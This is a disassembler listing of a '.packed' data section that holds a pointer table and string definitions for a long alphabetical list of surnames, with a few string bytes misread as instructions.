dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
; ---------------------------------------------------------------------------
sub ah, ch
inc edx
add [esp+ebp*8], bl
inc edx
add [esp+ebp*8], dl
inc edx
add [esp+ebp*8], cl
inc edx
add [esp+ebp*8], al
inc edx
add ah, bh
jmp short loc_42EC15
; ---------------------------------------------------------------------------
align 4
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aZytowski db 'Zytowski',0 ; DATA XREF: .packed:0042EBDCo
align 4
aZwiers db 'Zwiers',0 ; DATA XREF: .packed:0042EBD8o
align 4
aZurn db 'Zurn',0 ; DATA XREF: .packed:0042EBD4o
align 4
aZucconi db 'Zucconi',0
aZoldak db 'Zoldak',0
align 4
aZerbini db 'Zerbini',0
; ---------------------------------------------------------------------------
pop edx
loc_42EC15: ; CODE XREF: .packed:0042EBD1j
db 65h, 67h
popa
outsb
jnb short $+2
add [edx+61h], bl
outsb
db 67h
ja near ptr 0EC8Bh
insb
insb
; ---------------------------------------------------------------------------
dd 0
aZahedi db 'Zahedi',0
align 10h
aZachary db 'Zachary',0 ; DATA XREF: .packed:0042EBB8o
aYu db 'Yu',0 ; DATA XREF: .packed:0042EBB4o
align 4
aYoukSee db 'Youk-See',0 ; DATA XREF: .packed:0042EBB0o
align 4
aYoo db 'Yoo',0 ; DATA XREF: .packed:0042EBACo
aYoffe db 'Yoffe',0 ; DATA XREF: .packed:0042EBA8o
align 4
aYetiv db 'Yetiv',0 ; DATA XREF: .packed:0042EBA4o
align 4
aYesson db 'Yesson',0 ; DATA XREF: .packed:0042EBA0o
align 4
aYedidia db 'Yedidia',0 ; DATA XREF: .packed:0042EB9Co
aYbarra db 'Ybarra',0 ; DATA XREF: .packed:0042EB98o
align 4
aYates db 'Yates',0 ; DATA XREF: .packed:0042EB94o
align 4
aYarchuk db 'Yarchuk',0 ; DATA XREF: .packed:0042EB90o
aYankee db 'Yankee',0 ; DATA XREF: .packed:0042EB8Co
align 4
aYamane db 'Yamane',0 ; DATA XREF: .packed:0042EB88o
align 4
aYacono db 'Yacono',0 ; DATA XREF: .packed:0042EB84o
align 4
aVotey db 'Votey',0 ; DATA XREF: .packed:0042EB80o
align 4
aVorhaus db 'Vorhaus',0 ; DATA XREF: .packed:0042EB7Co
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .packed:0042EB78o
align 4
aWoods db 'Woods',0 ; DATA XREF: .packed:0042EB74o
align 4
aWooden db 'Wooden',0 ; DATA XREF: .packed:0042EB70o
align 4
aWoo db 'Woo',0 ; DATA XREF: .packed:0042EB6Co
aVonhoffman db 'VonHoffman',0 ; DATA XREF: .packed:0042EB68o
align 4
aWolk db 'Wolk',0 ; DATA XREF: .packed:0042EB64o
align 4
aVoigt db 'Voigt',0 ; DATA XREF: .packed:0042EB60o
align 4
aViviani db 'Viviani',0 ; DATA XREF: .packed:0042EB5Co
aVitali db 'Vitali',0 ; DATA XREF: .packed:0042EB58o
align 4
aWilson db 'Wilson',0 ; DATA XREF: .packed:0042EB54o
align 4
aWillstatter db 'Willstatter',0 ; DATA XREF: .packed:0042EB50o
aVillarreal db 'Villarreal',0 ; DATA XREF: .packed:0042EB4Co
align 4
aWilkinson db 'Wilkinson',0 ; DATA XREF: .packed:0042EB48o
align 4
aWilkin db 'Wilkin',0 ; DATA XREF: .packed:0042EB44o
align 10h
aWilk db 'Wilk',0 ; DATA XREF: .packed:0042EB40o
align 4
aWilhelm db 'Wilhelm',0 ; DATA XREF: .packed:0042EB3Co
aWilder db 'Wilder',0 ; DATA XREF: .packed:0042EB38o
align 4
aVignola db 'Vignola',0 ; DATA XREF: .packed:0042EB34o
aViens db 'Viens',0 ; DATA XREF: .packed:0042EB30o
align 4
aWiener db 'Wiener',0 ; DATA XREF: .packed:0042EB2Co
align 10h
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .packed:0042EB28o
aViano db 'Viano',0 ; DATA XREF: .packed:0042EB24o
align 4
aViana db 'Viana',0 ; DATA XREF: .packed:0042EB20o
align 4
aWhittaker db 'Whittaker',0 ; DATA XREF: .packed:0042EB1Co
align 4
aWhitla db 'Whitla',0 ; DATA XREF: .packed:0042EB18o
align 10h
aWhite db 'White',0 ; DATA XREF: .packed:0042EB14o
align 4
aWhilton db 'Whilton',0 ; DATA XREF: .packed:0042EB10o
aWhately db 'Whately',0 ; DATA XREF: .packed:0042EB0Co
aWetzel db 'Wetzel',0 ; DATA XREF: .packed:0042EB08o
align 10h
aWescott db 'Wescott',0 ; DATA XREF: .packed:0042EB04o
aVerghese db 'Verghese',0 ; DATA XREF: .packed:0042EB00o
align 4
aVenne db 'Venne',0 ; DATA XREF: .packed:0042EAFCo
align 4
aWengret db 'Wengret',0 ; DATA XREF: .packed:0042EAF8o
aWelsh db 'Welsh',0 ; DATA XREF: .packed:0042EAF4o
align 4
